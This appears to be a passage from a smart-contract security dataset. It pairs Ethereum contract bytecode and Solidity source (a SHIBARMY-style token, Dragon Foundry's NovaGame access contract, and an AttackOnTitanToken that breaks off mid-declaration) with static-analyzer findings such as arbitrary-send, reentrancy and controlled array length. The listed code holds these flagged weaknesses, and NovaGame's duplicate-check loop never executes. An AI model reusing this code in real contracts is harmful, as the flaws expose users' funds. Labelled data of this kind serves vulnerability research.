081526005602052604090205460ff1690565b3480156102a757600080fd5b506101706102b63660046118b3565b610634565b3480156102c757600080fd5b50610170610682565b3480156102dc57600080fd5b506101d96102eb3660046118b3565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031557600080fd5b506102006103243660046118b3565b6106bc565b34801561033557600080fd5b506101706106de565b34801561034a57600080fd5b506000546040516001600160a01b0390911681526020016101b0565b34801561037257600080fd5b506101706103813660046118b3565b610714565b34801561039257600080fd5b506040805180820190915260088152675348494241524d5960c01b60208201526101a3565b3480156103c357600080fd5b506101d96103d236600461176b565b61078e565b3480156103e357600080fd5b506101706103f23660046117ee565b61079b565b34801561040357600080fd5b506101706108b4565b34801561041857600080fd5b506101706104273660046118b3565b61091d565b34801561043857600080fd5b506101706104473660046118b3565b610968565b34801561045857600080fd5b506102006104673660046118d0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049e57600080fd5b506101706104ad366004611909565b610bc3565b3480156104be57600080fd5b506101706104cd3660046118b3565b610c00565b6000546001600160a01b031633146105055760405162461bcd60e51b81526004016104fc90611922565b60405180910390fd5b6000610510306106bc565b905061051b81610c98565b50565b600061052b338484610e12565b5060015b92915050565b6000610542848484610f36565b610594843361058f85604051806060016040528060288152602001611a9d602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906111aa565b610e12565b5060019392505050565b6000546001600160a01b031633146105c85760405162461bcd60e51b81526004016104fc90611922565b60005b8151811015610630576000600560008484815181106105ec576105ec611957565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062881611983565b9150506105cb565b5050565b6000546001600160a01b0316331461065e5760405162461bcd60e51b81526004016104fc90611922565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610630573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052f906111e4565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104fc90611922565b6107126000611268565b565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016104fc90611922565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052b338484610f36565b6000546001600160a01b031633146107c55760405162461bcd60e51b81526004016104fc90611922565b60005b815181101561063057600c5482516001600160a01b03909116908390839081106107f4576107f4611957565b60200260200101516001600160a01b0316141580156108455750600b5482516001600160a01b039091169083908390811061083157610831611957565b60200260200101516001600160a01b031614155b156108a25760016005600084848151811061086257610862611957565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ac81611983565b9150506107c8565b6000546001600160a01b031633146108de5760405162461bcd60e51b81526004016104fc90611922565b600c54600160a01b900460ff166108f457600080fd5b600c805460ff60b01b1916600160b01b17905542600d8190556109189060b461199e565b600e55565b6000546001600160a01b031633146109475760405162461bcd60e51b81526004016104fc90611922565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109925760405162461bcd60e51b81526004016104fc90611922565b600c54600160a01b900460ff16156109fa5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fc565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7591906119b6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ac2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae691906119b6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5791906119b6565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610bed5760405162461bcd60e51b81526004016104fc90611922565b6009811115610bfb57600080fd5b600955565b6000546001600160a01b03163314610c2a5760405162461bcd60e51b81526004016104fc90611922565b6001600160a01b038116610c8f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fc565b61051b81611268565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ce057610ce0611957565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5d91906119b6565b81600181518110610d7057610d70611957565b6001600160a01b039283166020918202929092010152600b54610d969130911684610e12565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610dcf9085906000908690309042906004016119d3565b600060405180830381600087803b158015610de957600080fd5b505af1158015610dfd573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6001600160a01b038316610e745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fc565b6001600160a01b038216610ed55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610f5657506001600160a01b03821615155b610f5f57600080fd5b60008111610f6c57600080fd5b6001600160a01b03831660009081526005602052604090205460ff1615610f9257600080fd5b6001600160a01b03831660009081526004602052604081205460ff16158015610fd457506001600160a01b03831660009081526004602052604090205460ff16155b80156110045750600c546001600160a01b03858116911614806110045750600c546001600160a01b038481169116145b1561119857600c54600160b01b900460ff1661101f57600080fd5b50600c546001906001600160a01b03858116911614801561104e5750600b546001600160a01b03848116911614155b801561105b575042600e54115b156110a257600061106b846106bc565b905061108b6064611085678ac7230489e8000060026112b8565b90611337565b6110958483611379565b11156110a057600080fd5b505b600d544214156110d0576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006110db306106bc565b600c54909150600160a81b900460ff161580156111065750600c546001600160a01b03868116911614155b1561119657801561119657600c5461113a9060649061108590600f90611134906001600160a01b03166106bc565b906112b8565b81111561116757600c546111649060649061108590600f90611134906001600160a01b03166106bc565b90505b6000611174826003611337565b90506111808183611a44565b915061118b816113d8565b61119482610c98565b505b505b6111a484848484611408565b50505050565b600081848411156111ce5760405162461bcd60e51b81526004016104fc91906116f1565b5060006111db8486611a44565b95945050505050565b600060065482111561124b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fc565b600061125561150b565b90506112618382611337565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826112c75750600061052f565b60006112d38385611a5b565b9050826112e08583611a7a565b146112615760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fc565b600061126183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152e565b600080611386838561199e565b9050838110156112615760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fc565b600c805460ff60a81b1916600160a81b1790556113f83061dead83610f36565b50600c805460ff60a81b19169055565b80806114165761141661155c565b60008060008061142587611578565b6001600160a01b038d166000908152600160205260409020549397509195509350915061145290856115bf565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546114819084611379565b6001600160a01b0389166000908152600160205260409020556114a381611601565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e891815260200190565b60405180910390a3505050508061150457611504600854600955565b5050505050565b600080600061151861164b565b90925090506115278282611337565b9250505090565b6000818361154f5760405162461bcd60e51b81526004016104fc91906116f1565b5060006111db8486611a7a565b60006009541161156b57600080fd5b6009805460085560009055565b60008060008060008061158d8760095461168b565b91509150600061159b61150b565b90506000806115ab8a85856116b8565b909b909a5094985092965092945050505050565b600061126183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111aa565b600061160b61150b565b9050600061161983836112b8565b306000908152600160205260409020549091506116369082611379565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006116668282611337565b82101561168257505060065492678ac7230489e8000092509050565b90939092509050565b6000808061169e606461108587876112b8565b905060006116ac86836115bf565b96919550909350505050565b600080806116c686856112b8565b905060006116d486866112b8565b905060006116e283836115bf565b92989297509195505050505050565b600060208083528351808285015260005b8181101561171e57858101830151858201604001528201611702565b81811115611730576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051b57600080fd5b803561176681611746565b919050565b6000806040838503121561177e57600080fd5b823561178981611746565b946020939093013593505050565b6000806000606084860312156117ac57600080fd5b83356117b781611746565b925060208401356117c781611746565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561180157600080fd5b823567ffffffffffffffff8082111561181957600080fd5b818501915085601f83011261182d57600080fd5b81358181111561183f5761183f6117d8565b8060051b604051601f19603f83011681018181108582111715611864576118646117d8565b60405291825284820192508381018501918883111561188257600080fd5b938501935b828510156118a7576118988561175b565b84529385019392850192611887565b98975050505050505050565b6000602082840312156118c557600080fd5b813561126181611746565b600080604083850312156118e357600080fd5b82356118ee81611746565b915060208301356118fe81611746565b809150509250929050565b60006020828403121561191b57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119975761199761196d565b5060010190565b600082198211156119b1576119b161196d565b500190565b6000602082840312156119c857600080fd5b815161126181611746565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a235784516001600160a01b0316835293830193918301916001016119fe565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611a5657611a5661196d565b500390565b6000816000190483118215151615611a7557611a7561196d565b500290565b600082611a9757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fd467c0503da07abdc9e1116f776fe744ab0322ed569fea2b9e46a16106103364736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,507
0x0e2cda02caebdf772ef15a6f2961296741107038
pragma solidity ^0.4.23; // @title iNovaStaking // @dev The interface for cross-contract calls to the Nova Staking contract // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract iNovaStaking { function balanceOf(address _owner) public view returns (uint256); } // @title iNovaGame // @dev The interface for cross-contract calls to the Nova Game contract // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract iNovaGame { function isAdminForGame(uint _game, address account) external view returns(bool); // List of all games tracked by the Nova Game contract uint[] public games; } // @title SafeMath // @dev Math operations with safety checks that throw on error library SafeMath { // @dev Multiplies two numbers, throws on overflow. function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; require(c / a == b, "mul failed"); return c; } // @dev Integer division of two numbers, truncating the quotient. function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } // @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "sub fail"); return a - b; } // @dev Adds two numbers, throws on overflow. function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "add fail"); return c; } } // @title Nova Game Access (Nova Token Game Access Control) // @dev NovaGame contract for controlling access to games, and allowing managers to add and remove operator accounts // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract NovaGameAccess is iNovaGame { using SafeMath for uint256; event AdminPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin); event OperatorPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin); // Admin addresses are stored both by gameId and address mapping(uint => address[]) public adminAddressesByGameId; mapping(address => uint[]) public gameIdsByAdminAddress; // Stores admin status (as a boolean) by gameId and account mapping(uint => mapping(address => bool)) public gameAdmins; // Reference to the Nova Staking contract iNovaStaking public stakingContract; // @dev Access control modifier to limit access to game admin accounts modifier onlyGameAdmin(uint _game) { require(gameAdmins[_game][msg.sender]); _; } constructor(address _stakingContract) public { stakingContract = iNovaStaking(_stakingContract); } // @dev gets the admin status for a game & account // @param _game - the gameId of the game // @param _account - the address of the user // @returns bool - the admin status of the requested account for the requested game function isAdminForGame(uint _game, address _account) external view returns(bool) { return gameAdmins[_game][_account]; } // @dev gets the list of admins for a game // @param _game - the gameId of the game // @returns address[] - the list of admin addresses for the requested game function getAdminsForGame(uint _game) external view returns(address[]) { return adminAddressesByGameId[_game]; } // @dev gets the list of games that the requested account is the admin of // @param _account - the address of the user // @returns uint[] - the list of game Ids for the requested account function getGamesForAdmin(address _account) external view returns(uint[]) { return gameIdsByAdminAddress[_account]; } // @dev Adds an address as an admin for a game // @notice Can only be called by an admin of the game // @param _game - the gameId of the game // @param _account - the address of the user function addAdminAccount(uint _game, address _account) external onlyGameAdmin(_game) { require(_account != msg.sender); require(_account != address(0)); require(!gameAdmins[_game][_account]); _addAdminAccount(_game, _account); } // @dev Removes an address from an admin for a game // @notice Can only be called by an admin of the game. // @notice Can&#39;t remove your own account&#39;s admin privileges. // @param _game - the gameId of the game // @param _account - the address of the user to remove admin privileges. function removeAdminAccount(uint _game, address _account) external onlyGameAdmin(_game) { require(_account != msg.sender); require(gameAdmins[_game][_account]); address[] storage opsAddresses = adminAddressesByGameId[_game]; uint startingLength = opsAddresses.length; // Yes, "i < startingLength" is right. 0 - 1 == uint.maxvalue, not -1. for (uint i = opsAddresses.length - 1; i < startingLength; i--) { if (opsAddresses[i] == _account) { uint newLength = opsAddresses.length.sub(1); opsAddresses[i] = opsAddresses[newLength]; delete opsAddresses[newLength]; opsAddresses.length = newLength; } } uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account]; startingLength = gamesByAdmin.length; for (i = gamesByAdmin.length - 1; i < startingLength; i--) { if (gamesByAdmin[i] == _game) { newLength = gamesByAdmin.length.sub(1); gamesByAdmin[i] = gamesByAdmin[newLength]; delete gamesByAdmin[newLength]; gamesByAdmin.length = newLength; } } gameAdmins[_game][_account] = false; emit AdminPrivilegesChanged(_game, _account, false); } // @dev Adds an address as an admin for a game // @notice Can only be called by an admin of the game // @notice Operator privileges are managed on the layer 2 network // @param _game - the gameId of the game // @param _account - the address of the user to // @param _isOperator - "true" to grant operator privileges, "false" to remove them function setOperatorPrivileges(uint _game, address _account, bool _isOperator) external onlyGameAdmin(_game) { emit OperatorPrivilegesChanged(_game, _account, _isOperator); } // @dev Internal function to add an address as an admin for a game // @param _game - the gameId of the game // @param _account - the address of the user function _addAdminAccount(uint _game, address _account) internal { address[] storage opsAddresses = adminAddressesByGameId[_game]; require(opsAddresses.length < 256, "a game can only have 256 admins"); for (uint i = opsAddresses.length; i < opsAddresses.length; i--) { require(opsAddresses[i] != _account); } uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account]; require(gamesByAdmin.length < 256, "you can only own 256 games"); for (i = gamesByAdmin.length; i < gamesByAdmin.length; i--) { require(gamesByAdmin[i] != _game, "you can&#39;t become an operator twice"); } gamesByAdmin.push(_game); opsAddresses.push(_account); gameAdmins[_game][_account] = true; emit AdminPrivilegesChanged(_game, _account, true); } } // @title Nova Game (Nova Token Game Data) // @dev NovaGame contract for managing all game data // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract NovaGame is NovaGameAccess { struct GameData { string json; uint tradeLockSeconds; bytes32[] metadata; } event GameCreated(uint indexed game, address indexed owner, string json, bytes32[] metadata); event GameMetadataUpdated( uint indexed game, string json, uint tradeLockSeconds, bytes32[] metadata ); mapping(uint => GameData) internal gameData; constructor(address _stakingContract) public NovaGameAccess(_stakingContract) { games.push(2**32); } // @dev Create a new game by setting its data. // Created games are initially owned and managed by the game&#39;s creator // @notice - there&#39;s a maximum of 2^32 games (4.29 billion games) // @param _json - a json encoded string containing the game&#39;s name, uri, logo, description, etc // @param _tradeLockSeconds - the number of seconds a card remains locked to a purchaser&#39;s account // @param _metadata - game-specific metadata, in bytes32 format. function createGame(string _json, uint _tradeLockSeconds, bytes32[] _metadata) external returns(uint _game) { // Create the game _game = games.length; require(_game < games[0], "too many games created"); games.push(_game); // Log the game as created emit GameCreated(_game, msg.sender, _json, _metadata); // Add the creator as the first game admin _addAdminAccount(_game, msg.sender); // Store the game&#39;s metadata updateGameMetadata(_game, _json, _tradeLockSeconds, _metadata); } // @dev Gets the number of games in the system // @returns the number of games stored in the system function numberOfGames() external view returns(uint) { return games.length; } // @dev Get all game data for one given game // @param _game - the # of the game // @returns game - the game ID of the requested game // @returns json - the json data of the game // @returns tradeLockSeconds - the number of card sets // @returns balance - the Nova Token balance // @returns metadata - a bytes32 array of metadata used by the game function getGameData(uint _game) external view returns(uint game, string json, uint tradeLockSeconds, uint256 balance, bytes32[] metadata) { GameData storage data = gameData[_game]; game = _game; json = data.json; tradeLockSeconds = data.tradeLockSeconds; balance = stakingContract.balanceOf(address(_game)); metadata = data.metadata; } // @dev Update the json, trade lock, and metadata for a single game // @param _game - the # of the game // @param _json - a json encoded string containing the game&#39;s name, uri, logo, description, etc // @param _tradeLockSeconds - the number of seconds a card remains locked to a purchaser&#39;s account // @param _metadata - game-specific metadata, in bytes32 format. function updateGameMetadata(uint _game, string _json, uint _tradeLockSeconds, bytes32[] _metadata) public onlyGameAdmin(_game) { gameData[_game].tradeLockSeconds = _tradeLockSeconds; gameData[_game].json = _json; bytes32[] storage data = gameData[_game].metadata; if (_metadata.length > data.length) { data.length = _metadata.length; } for (uint k = 0; k < _metadata.length; k++) { data[k] = _metadata[k]; } for (k; k < data.length; k++) { delete data[k]; } if (_metadata.length < data.length) { data.length = _metadata.length; } emit GameMetadataUpdated(_game, _json, _tradeLockSeconds, _metadata); } }
0x6080604052600436106100da5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663088f6aae81146100df578063117a5b9014610115578063333e51801461012d5780637cd11ea114610158578063811548dd1461018f5780639173a610146101c757806395e1d9f7146101f7578063a5c5edee14610268578063a8f7e23814610306578063b6a656651461031e578063bc60a36514610404578063dded5dd814610428578063ee99205c1461044c578063f30431b514610461578063f692807014610485575b600080fd5b3480156100eb57600080fd5b50610103600160a060020a036004351660243561049a565b60408051918252519081900360200190f35b34801561012157600080fd5b506101036004356104ca565b34801561013957600080fd5b50610156600435600160a060020a036024351660443515156104e9565b005b34801561016457600080fd5b5061017360043560243561055b565b60408051600160a060020a039092168252519081900360200190f35b34801561019b57600080fd5b506101b3600435600160a060020a0360243516610592565b604080519115158252519081900360200190f35b3480156101d357600080fd5b506101036024600480358281019290820135918135916044359081019101356105b2565b34801561020357600080fd5b50610218600160a060020a036004351661074c565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561025457818101518382015260200161023c565b505050509050019250505060405180910390f35b34801561027457600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261015695833595369560449491939091019190819084018382808284375050604080516020808901358a01803580830284810184018652818552999c8b359c909b909a9501985092965081019450909250829190850190849080828437509497506107b89650505050505050565b34801561031257600080fd5b506102186004356109b4565b34801561032a57600080fd5b50610336600435610a1f565b604051808681526020018060200185815260200184815260200180602001838103835287818151815260200191508051906020019080838360005b83811015610389578181015183820152602001610371565b50505050905090810190601f1680156103b65780820380516001836020036101000a031916815260200191505b508381038252845181528451602091820191808701910280838360005b838110156103eb5781810151838201526020016103d3565b5050505090500197505050505050505060405180910390f35b34801561041057600080fd5b50610156600435600160a060020a0360243516610bbe565b34801561043457600080fd5b506101b3600435600160a060020a0360243516610e85565b34801561045857600080fd5b50610173610eb0565b34801561046d57600080fd5b50610156600435600160a060020a0360243516610ebf565b34801561049157600080fd5b50610103610f53565b6002602052816000526040600020818154811015156104b557fe5b90600052602060002001600091509150505481565b60008054829081106104d857fe5b600091825260209091200154905081565b6000838152600360209081526040808320338452909152902054839060ff16151561051357600080fd5b6040805183151581529051600160a060020a0385169186917ffe7ff1ba75fcb6340dd215a3fe1be6928a4160f68f5c8541f49173afa3a69d359181900360200190a350505050565b60016020528160005260406000208181548110151561057657fe5b600091825260209091200154600160a060020a03169150829050565b600360209081526000928352604080842090915290825290205460ff1681565b6000805490808281106105c157fe5b906000526020600020015481101515610624576040805160e560020a62461bcd02815260206004820152601660248201527f746f6f206d616e792067616d6573206372656174656400000000000000000000604482015290519081900360640190fd5b600080546001810182559080527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e5630181905560408051818152908101869052339082907f67828c9e5921fa41a8104c91c3f783f6528200b3c16b7c2b1c0f886defd35cf9908990899088908890806020810160608201878780828437909101848103835285815260209081019150869086028082843760405192018290039850909650505050505050a36106d88133610f5a565b6107438187878080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505086868680806020026020016040519081016040528093929190818152602001838360200280828437506107b8945050505050565b95945050505050565b600160a060020a0381166000908152600260209081526040918290208054835181840281018401909452808452606093928301828280156107ac57602002820191906000526020600020905b815481526020019060010190808311610798575b50505050509050919050565b60008481526003602090815260408083203384529091528120548190869060ff1615156107e457600080fd5b600087815260056020908152604090912060018101879055875161080a9289019061124a565b50600087815260056020526040902060020180548551919450101561083757835161083584826112c8565b505b600091505b835182101561088257838281518110151561085357fe5b90602001906020020151838381548110151561086b57fe5b60009182526020909120015560019091019061083c565b82548210156108af57828281548110151561089957fe5b6000918252602082200155600190910190610882565b8254845110156108c75783516108c584826112c8565b505b867f5f8cfa8fda29f83ac9130def063800d5e1ba2788588f5f070c527fdbae647bc3878787604051808060200184815260200180602001838103835286818151815260200191508051906020019080838360005b8381101561093357818101518382015260200161091b565b50505050905090810190601f1680156109605780820380516001836020036101000a031916815260200191505b508381038252845181528451602091820191808701910280838360005b8381101561099557818101518382015260200161097d565b505050509050019550505050505060405180910390a250505050505050565b6000818152600160209081526040918290208054835181840281018401909452808452606093928301828280156107ac57602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116109f65750505050509050919050565b600081815260056020908152604080832080548251601f6002600019610100600186161502019093169290920491820185900485028101850190935280835285946060949093849386939092839190830182828015610abf5780601f10610a9457610100808354040283529160200191610abf565b820191906000526020600020905b815481529060010190602001808311610aa257829003601f168201915b505050600184015460048054604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038f8116948201949094529051969b5092995016936370a082319350602480830193506020928290030181600087803b158015610b3557600080fd5b505af1158015610b49573d6000803e3d6000fd5b505050506040513d6020811015610b5f57600080fd5b505160028201805460408051602083810282018101909252828152939650830182828015610bad57602002820191906000526020600020905b81548152600190910190602001808311610b98575b505050505091505091939590929450565b60008281526003602090815260408083203384529091528120548190819081908190879060ff161515610bf057600080fd5b600160a060020a038716331415610c0657600080fd5b6000888152600360209081526040808320600160a060020a038b16845290915290205460ff161515610c3757600080fd5b600088815260016020526040902080549096509450600019850193505b84841015610d535786600160a060020a03168685815481101515610c7457fe5b600091825260209091200154600160a060020a03161415610d47578554610ca290600163ffffffff6111ea16565b92508583815481101515610cb257fe5b6000918252602090912001548654600160a060020a0390911690879086908110610cd857fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055508583815481101515610d1457fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916905582610d4587826112c8565b505b60001990930192610c54565b600160a060020a0387166000908152600260205260409020805495506000198601945091505b84841015610e1b57878285815481101515610d9057fe5b90600052602060002001541415610e0f578154610db490600163ffffffff6111ea16565b92508183815481101515610dc457fe5b90600052602060002001548285815481101515610ddd57fe5b6000918252602090912001558154829084908110610df757fe5b600091825260208220015582610e0d83826112c8565b505b60001990930192610d79565b6000888152600360209081526040808320600160a060020a038b16808552908352818420805460ff191690558151938452905190928b927f1f2bb04492b5bf1ca4a5e06d2a6daaee09d441ab692434b90b9aa1f1f85f073292918290030190a35050505050505050565b6000918252600360209081526040808420600160a060020a0393909316845291905290205460ff1690565b600454600160a060020a031681565b6000828152600360209081526040808320338452909152902054829060ff161515610ee957600080fd5b600160a060020a038216331415610eff57600080fd5b600160a060020a0382161515610f1457600080fd5b6000838152600360209081526040808320600160a060020a038616845290915290205460ff1615610f4457600080fd5b610f4e8383610f5a565b505050565b6000545b90565b60008281526001602052604081208054909190819061010011610fc7576040805160e560020a62461bcd02815260206004820152601f60248201527f612067616d652063616e206f6e6c792068617665203235362061646d696e7300604482015290519081900360640190fd5b825491505b82548210156110195783600160a060020a03168383815481101515610fed57fe5b600091825260209091200154600160a060020a0316141561100d57600080fd5b60001990910190610fcc565b50600160a060020a038316600090815260026020526040902080546101001161108c576040805160e560020a62461bcd02815260206004820152601a60248201527f796f752063616e206f6e6c79206f776e203235362067616d6573000000000000604482015290519081900360640190fd5b805491505b805482101561113e578481838154811015156110a957fe5b906000526020600020015414151515611132576040805160e560020a62461bcd02815260206004820152602260248201527f796f752063616e2774206265636f6d6520616e206f70657261746f722074776960448201527f6365000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60001990910190611091565b805460018082018355600083815260208082209093018890558554808301875586825283822001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038916908117909155888252600384526040808320828452855291829020805460ff19168417905581519283529051909288927f1f2bb04492b5bf1ca4a5e06d2a6daaee09d441ab692434b90b9aa1f1f85f0732929081900390910190a35050505050565b600082821115611244576040805160e560020a62461bcd02815260206004820152600860248201527f737562206661696c000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b50900390565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061128b57805160ff19168380011785556112b8565b828001600101855582156112b8579182015b828111156112b857825182559160200191906001019061129d565b506112c49291506112e8565b5090565b815481835581811115610f4e57600083815260209020610f4e9181019083015b610f5791905b808211156112c457600081556001016112ee5600a165627a7a723058209c88c09f228869b99ee127e7f9863f893d4d228db7f49d5a2422fcecd9a095c20029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
8,508
0x10f9176eb9c8dac80982531a391fc448247f72df
/** *Submitted for verification at Etherscan.io on 2021-11-02 */ // SPDX-License-Identifier: MIT // Telegram: t.me/AttackonTitanToken pragma solidity ^0.8.4; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract AttackOnTitanToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant 